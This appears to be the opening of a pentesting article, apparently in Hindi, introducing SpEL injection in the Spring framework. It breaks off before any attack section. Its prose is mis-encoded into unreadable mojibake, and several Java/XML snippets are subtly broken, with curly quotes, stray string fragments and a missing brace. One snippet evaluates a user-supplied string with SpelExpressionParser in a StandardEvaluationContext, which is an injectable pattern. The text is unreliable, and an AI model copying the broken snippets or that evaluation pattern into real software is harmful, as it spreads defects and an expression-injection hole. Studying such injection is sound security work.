рд╕реНрдкреЗрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди


рдкрд╣рдЪрд╛рди


рд╡рд┐рднрд┐рдиреНрди рд╕реЗрд╡рд╛рдУрдВ рдкрд░ рдХрд╛рдо рдХрд░рдиреЗ рдФрд░ рд╢реЛрдз рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ, рд╣рдо рддреЗрдЬреА рд╕реЗ рд╕реНрдкреНрд░рд┐рдВрдЧ рдлреНрд░реЗрдорд╡рд░реНрдХ рдХреЛ рдкреВрд░рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдФрд░ рддрд╛рд░реНрдХрд┐рдХ рдХрджрдо рдЗрд╕рдХреА рд╕рдВрд░рдЪрдирд╛ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рд╣реЛрдирд╛ рд╣реИред


рдХрд┐рд╕реА рднреА рдкреЗрдВрдЯреЗрд╕реНрдЯрд░ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рд╣реИрдВ рдЬреЛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдЬрдиреНрдо рджреЗрддреА рд╣реИрдВред


рд╕реНрдкреНрд░рд┐рдВрдЧ рдореЗрдВ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╕реНрдкреЗрд▓ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ рд╣реИред


рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рд╣рдо рдпрд╣ рд╕рдордЭрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВрдЧреЗ рдХрд┐ рд╕реНрдкреЗрд▓ рдХреНрдпрд╛ рд╣реИ, рдпрд╣ рдХрд╣рд╛рдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЙрдкрдпреЛрдЧ рдХреА рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдВ рдХреНрдпрд╛ рд╣реИрдВ рдФрд░ рдЗрд╕ рддрд░рд╣ рдХреЗ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреИрд╕реЗ рд▓рдЧрд╛рдПрдВред


рдХреНрдпрд╛?


рд╕реНрдкреЗрд▓ рд╕реНрдкреНрд░рд┐рдВрдЧ рдлреНрд░реЗрдорд╡рд░реНрдХ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдИ рдЧрдИ рдПрдХ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рднрд╛рд╖рд╛ рд╣реИ рдЬреЛ рд░рдирдЯрд╛рдЗрдо рдкрд░ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреА рдХреНрд╡реЗрд░реА рдФрд░ рдЧреНрд░рд╛рдлрд╝ рдкреНрд░рдмрдВрдзрди рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреА рд╣реИред
рдпрд╣ рднреА рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рд╕реНрдкреЗрд▓ рдПрдХ рдПрдкреАрдЖрдИ рдХреЗ рд░реВрдк рдореЗрдВ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ рдЬреЛ рдЖрдкрдХреЛ рдЗрд╕реЗ рдЕрдиреНрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдФрд░ рд░реВрдкрд░реЗрдЦрд╛рдУрдВ рдореЗрдВ рдПрдХреАрдХреГрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред


рдореИрдВ рдХрд╣рд╛рдБ рдорд┐рд▓ рд╕рдХрддрд╛ рд╣реВрдБ?


рдпрд╣ рддрд░реНрдХрд╕рдВрдЧрдд рд╣реИ рдХрд┐ рд╕реНрдкреНрд░рд┐рдВрдЧ рдлреНрд░реЗрдорд╡рд░реНрдХ рдореЗрдВ рд╣рд░ рд╕рдордп рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдЕрдЪреНрдЫрд╛ рдЙрджрд╛рд╣рд░рдг рд╕реНрдкреНрд░рд┐рдВрдЧ рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рд╣реИ, рдЬрд╣рд╛рдВ рд╕реНрдкреЗрд▓ рдПрдХреНрд╕рдкреНрд░реЗрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рджрд┐рдП рдЧрдП рд╣реИрдВ:


@PreAuthorize("hasPermission(#contact, 'admin')") public void deletePermission(Contact contact, Sid recipient, Permission permission); 


рдЕрдкрд╛рдЪреЗ рдКрдВрдЯ рд╕реНрдкреЗрд▓ рдПрдкреАрдЖрдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ; рдиреАрдЪреЗ рдЗрд╕рдХреЗ рдкреНрд░рд▓реЗрдЦрди рд╕реЗ рдЙрджрд╛рд╣рд░рдг рджрд┐рдП рдЧрдП рд╣реИрдВред
рд╕реНрдкреЗрд▓-рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдкрддреНрд░реЛрдВ рдХрд╛ рдЧрдарди:


 <route> <from uri="direct:foo"/> <filter> <spel>#{request.headers['foo'] == 'bar'}</spel> <to uri="direct:bar"/> </filter> </route> 

рдпрд╛ рдЖрдк рдмрд╛рд╣рд░реА рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдПрдХ рдирд┐рдпрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рд╣реИрдбрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:


 .setHeader("myHeader").spel("resource:classpath:myspel.txt") 

рдпрд╣рд╛рдБ GitHub рдкрд░ рдХреБрдЫ рдЙрджрд╛рд╣рд░рдг рджреЗрдЦреЗ рдЧрдП рд╣реИрдВ:
https://github.com/jpatokal/openflights



https://github.com/hbandi/LEP



рд╕реНрдкреНрд░рд┐рдВрдЧ рдлреНрд░реЗрдорд╡рд░реНрдХ рдФрд░ рд╕реНрдкреЗрд▓ рдмреЗрд╕рд┐рдХреНрд╕


рдкрд╛рдардХ рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рд╕реНрдкреЗрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреНрдпрд╛ рд╣реИрдВ, рдЖрдкрдХреЛ рд╕реНрдкреНрд░рд┐рдВрдЧ рдФрд░ рд╕реНрдкреЗрд▓ рдХреЛ рдереЛрдбрд╝рд╛ рдЬрд╛рдирдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реИред


рд╕реНрдкреНрд░рд┐рдВрдЧ рдлреНрд░реЗрдорд╡рд░реНрдХ рдХрд╛ рдПрдХ рдкреНрд░рдореБрдЦ рддрддреНрд╡ рд╕реНрдкреНрд░рд┐рдВрдЧ рдХрдВрдЯреЗрдирд░ рд╣реИред рдПрдХ рдХрдВрдЯреЗрдирд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рддрд╛ рд╣реИ, рдЙрдиреНрд╣реЗрдВ рдПрдХ рд╕рд╛рде рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдирд┐рд░реНрдорд╛рдг рд╕реЗ рд╡рд┐рдирд╛рд╢ рддрдХ рдЙрдирдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рддрд╛ рд╣реИред


рдЙрди рдШрдЯрдХреЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдмрдирд╛рддреЗ рд╣реИрдВ, рд╕реНрдкреНрд░рд┐рдВрдЧ рдХрдВрдЯреЗрдирд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ
рдирд┐рд░реНрднрд░рддрд╛ рдЗрдВрдЬреЗрдХреНрд╢рдиред рдпрд╣ рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рд╡рд╕реНрддреБрдУрдВ рдХреЛ рд╕реНрдкреНрд░рд┐рдВрдЧ рдмреАрдиреНрд╕ рдирд╛рдордХ рдмрд╛рд╣рд░реА рд╕рдВрд╕реНрдерд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ - рдмреЛрд▓рдЪрд╛рд▓ рдХреА рднрд╛рд╖рд╛ рдореЗрдВ "рд╕реЗрдо"ред


рд╕реНрдкреНрд░рд┐рдВрдЧ рдХрдВрдЯреЗрдирд░ рд╕реЗрдо рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдирд┐рдореНрди рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ: рдирд┐рд░реНрджреЗрд╢ рдХреНрдпрд╛ рд╡рд╕реНрддреБрдУрдВ рдХреЛ рддрддреНрдХрд╛рд▓ рдФрд░ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдХреИрд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВред


рдореЗрдЯрд╛рдбреЗрдЯрд╛ 3 рддрд░реАрдХреЛрдВ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:


  • рдПрдХреНрд╕рдПрдордПрд▓
  • рдЬрд╛рд╡рд╛ рдПрдиреЛрдЯреЗрд╢рди
  • рдЬрд╛рд╡рд╛ рдХреЛрдб

рдФрд░ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдПрдХ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдВрджреБ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕рдВрджрд░реНрдн рд╣реИред


ApplicationContext рдПрдХ рд╕реНрдкреНрд░рд┐рдВрдЧ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдореБрдЦреНрдп рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╣реИ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдХреЗрд╡рд▓ рд░рдирдЯрд╛рдЗрдо рдкрд░ рдкрдврд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рдФрд░ рдЖрд╡реЗрджрди рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рд╣реЛ рддреЛ рдЗрд╕реЗ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ApplicationContext рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдХрдХреНрд╖рд╛рдУрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╡рд┐рднрд┐рдиреНрди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдорд╛рдкрджрдВрдбреЛрдВ рдФрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реИред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрд╣ рд╕реНрдкреНрд░рд┐рдВрдЧ рдПрдкреНрд▓реАрдХреЗрд╢рди рд╣реА рд╣реИред рд╕рдВрджрд░реНрдн рдЖрд╡реЗрджрди рдХреЗ рднреАрддрд░ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╡рд┐рднрд┐рдиреНрди рдШрдЯрдирд╛рдУрдВ рдХрд╛ рдЬрд╡рд╛рдм рджреЗрдиреЗ рдФрд░ рд╕реЗрдо рдХреЗ рдЬреАрд╡рди рдЪрдХреНрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рднреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред



рдЕрдм рд╕реАрдзреЗ рдмреАрди рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдФрд░ рд╕реНрдкреЗрд▓ рднрд╛рд╡реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдкрд░ рдзреНрдпрд╛рди рджреЗрдВред


Bean.XML


рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдПрдХреНрд╕рдПрд▓ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдореЗрдВ рд╕реНрдкреЗрд▓ рдХрд╛ рдПрдХреАрдХрд░рдг рдпрд╛ рдмреАрди рдШрдЯрдХреЛрдВ рдХреА рдПрдиреЛрдЯреЗрдЯ рдкрд░рд┐рднрд╛рд╖рд╛рдПрдВ рд╣реИрдВ:


 <bean id=тАЬexmple" class="org.spring.samples.NumberGuess"> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/> <property name="defaultLocale2" value="${user.region}"/> </bean> 

рдпрд╣рд╛рдБ рд╕реЗрдо рдХрд╛ рдПрдХ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИред xml рдлрд╝рд╛рдЗрд▓, рдХреЗрд╡рд▓ рдЗрд╕рдХреА рдПрдХ рд╕реЗрдо рдХреЗ рд▓рд┐рдПред рдпрд╣ рдмрд┐рди рдХреА рдЖрдИрдбреА рдкрд░ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ, рдЬрд┐рд╕рдХреЗ рджреНрд╡рд╛рд░рд╛ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдЧреБрдгреЛрдВ рдХреЗ рд▓рд┐рдПред рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕ рд▓реЗрдЦ рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рд╣рдо рд╕реНрдкреЗрд▓ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рднрд╛рд╡ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рд╡рд┐рдХрд▓реНрдк рджрд┐рдП рдЬрд╛рдПрдВрдЧреЗред


рд╕реНрдкреНрд░рд┐рдВрдЧ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рд╕реНрдкреЗрд▓ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпрд╛рдБ рдЖрддреА рд╣реИрдВ, # рд╡рд░реНрдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рд╕реНрд╡рдпрдВ рдмреНрд░реЗрд╕рд┐рдЬрд╝ рдореЗрдВ рд╕рдВрд▓рдЧреНрди рд╣реИ: #{SpEL_expression} ред рдЧреБрдгреЛрдВ рдХреЛ $ рдЪрд░рд┐рддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдФрд░ рдмреНрд░реЗрд╕рд┐рдЬрд╝ рдореЗрдВ рд╕рдВрдкрддреНрддрд┐ рдХреЗ рдирд╛рдо рдХреЛ рд╕рдВрд▓рдЧреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрджрд░реНрднрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ${someProperty} ред рдкреНрд░реЙрдкрд░реНрдЯреА рдкреНрд▓реЗрд╕рд╣реЛрд▓реНрдбрд░реНрд╕ рдореЗрдВ рд╕реНрдкреЗрд▓ рдПрдХреНрд╕рдкреНрд░реЗрд╢рди рдирд╣реАрдВ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдПрдХреНрд╕рдкреНрд░реЗрд╢рди рдореЗрдВ рдкреНрд░реЙрдкрд░реНрдЯреА рд╕рдВрджрд░реНрдн рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ:


 "#{${someProperty}" 

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЖрдк рдХрд┐рд╕реА рднреА рдЬрд╛рд╡рд╛ рд╡рд░реНрдЧ рдХреЛ рд╣рдорд╛рд░реА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдпрд╛ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред


рд╕реЗрдо рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЗрд╕ рдкрджреНрдзрддрд┐ рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреВрд░реЗ рдЖрд╡реЗрджрди рдХреЛ рдлрд┐рд░ рд╕реЗ рдЬрдорд╛ рдХрд┐рдП рдмрд┐рдирд╛ рдЙрдиреНрд╣реЗрдВ рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЖрд╡реЗрджрди рдХрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рдмрджрд▓ рдЬрд╛рддрд╛ рд╣реИред


рдЖрд╡реЗрджрди рд╕реЗ рд╣реА, рдЖрдк рдЗрд╕ рдмреАрди рдХрд╛ рдЙрдкрдпреЛрдЧ ApplicationContext рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:


 ApplicationContext ctx = new ClassPathXmlApplicationContext(тАЬBean.xmlтАЭ); MyExpression example = ctx.getBean(тАЬexample", MyExpression.class); " + "System.out.println(тАЬNumber : " + example.getValue()); System.out.println(тАЬLocale : " + example.getDefaultLocale()); System.out.println(тАЬLocale : " + example.getDefaultLocale2()); 

рдпрд╛рдиреА рдЖрд╡реЗрджрди рдХреЗ рдЕрдВрджрд░, рд╣рдореЗрдВ рдмрд╕ рдмрд┐рди рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рдорд╛рди рдорд┐рд▓рддреЗ рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рд╕реНрдкреЗрд▓ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпрд╛рдБ рд╣реЛрддреА рд╣реИрдВред рд╡рд╕рдВрдд, рдЗрд╕ рддрд░рд╣ рдХреЗ рдореВрд▓реНрдп рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ, рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдВрддрд┐рдо рдкрд░рд┐рдгрд╛рдо рджреЗрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдордд рднреВрд▓реЛ рдХрд┐ рдпрд╣ рдХреЛрдб рд╕рдВрдмрдВрдзрд┐рдд рдЧреЗрдЯрд░реНрд╕ рдХреЗ рдмрд┐рдирд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рд▓реЗрдХрд┐рди рдЙрдирдХрд╛ рд╡рд┐рд╡рд░рдг рд▓реЗрдЦ рдХреЗ рджрд╛рдпрд░реЗ рд╕реЗ рдкрд░реЗ рд╣реИред


рдмреАрдиреНрд╕ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХрд╛ рджреВрд╕рд░рд╛ рддрд░реАрдХрд╛ рдПрдиреЛрдЯреЗрд╢рдирдмреЗрд╕ рдПрдиреЛрдЯреЗрд╢рди рд╡рд┐рдзрд┐ рд╣реИ - рдкреИрд░рд╛рдореАрдЯрд░ рдорд╛рди рдХреБрдЫ рд╡рд░реНрдЧ рдХреЗ рдПрдиреЛрдЯреЗрд╢рди рдХреЗ рдЕрдВрджрд░ рд╕реЗрдЯ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред


 public static class FieldValueTestBean @Value("#{ systemProperties['user.region'] }") private String defaultLocale; public void setDefaultLocale(String defaultLocale) { this.defaultLocale = defaultLocale; } public String getDefaultLocale() { return this.defaultLocale; } } 

рд╕реНрдкреЗрд▓ рдПрдХреНрд╕рдкреНрд░реЗрд╢рди рдмрдирд╛рддреЗ рд╕рдордп, рдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рдПрдХреНрд╕рдкреНрд░реЗрд╢рдирдкреНрд░реИрд╕рд░ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдФрд░ рдлрд┐рд░ рдирд┐рдореНрди рдЙрджрд╛рд╣рд░рдг рдХреЗ рд╕рдорд╛рди рдЖрд╡реЗрджрди рдХреЛрдб рдореЗрдВ рдПрдХ рд╡рд░реНрдЧ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ:


 public void parseExpressionInterface(Person personObj,String property) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(property+" == 'Input'"); StandardEvaluationContext testContext = new StandardEvaluationContext(personObj); boolean result = exp.getValue(testContext, Boolean.class); 

ExpressionParser рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдПрдХреНрд╕рдкреНрд░реЗрд╢рди рдХреЛ рдПрдХреНрд╕рдкреНрд░реЗрд╢рди рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд┐рдП рдЧрдП рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХрд╛ рдореВрд▓реНрдп рдореВрд▓реНрдпрд╛рдВрдХрди рдореВрд▓реНрдпрд╛рдВрдХрди рдХреЗ рдврд╛рдВрдЪреЗ рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдЗрд╡реИрд▓реНрдпреВрдПрд╢рди рдХреЙрдиреНрдЯреЗрдХреНрд╕реНрдЯ рдПрдХрдорд╛рддреНрд░ рдРрд╕реА рд╡рд╕реНрддреБ рд╣реЛрдЧреА рдЬрд┐рд╕рдореЗрдВ рд╕реЗ рдПрд▓ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдореЗрдВ рд╕рднреА рдЧреБрдг рдФрд░ рдЪрд░ рдЙрдкрд▓рдмреНрдз рд╣реЛрдВрдЧреЗред


рдпрд╣ рдПрдХ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рддрдереНрдп рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИред рд╕реНрдкреЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЗрд╕ рдкрджреНрдзрддрд┐ рдХреЗ рд╕рд╛рде, рд╣рдореЗрдВ рдХреЗрд╡рд▓ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ #, рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЗрд╕рдореЗрдВ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╢рд╛рдмреНрджрд┐рдХ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред


рдЙрдкрд░реЛрдХреНрдд рд╕рднреА рдореЗрдВ, рдпрд╣ рджреЛ рдмрд╛рддреЗрдВ рдпрд╛рдж рд░рдЦрдиреЗ рдпреЛрдЧреНрдп рд╣реИ:
1) рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛрдб рджреНрд╡рд╛рд░рд╛ рдЦреЛрдЬ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдРрд╕реЗ рдХреАрд╡рд░реНрдб рджреЗрдЦрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: SpelExpressionParser, EvaluationContext рдФрд░ parseExpressionред
2) рд╕реНрдкреНрд░рд┐рдВрдЧ #{SpEL} , ${someProperty} рдФрд░ T(javaclass)
рдпрджрд┐ рдЖрдк рд╕реНрдкреНрд░рд┐рдВрдЧ рдФрд░ рд╕реНрдкреЗрд▓ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдЕрдиреБрд╢рдВрд╕рд╛ рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдбреЙрдХреНрд╕ рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ ред


рд╕реНрдкреЗрд▓ рдХреНрдпрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ?


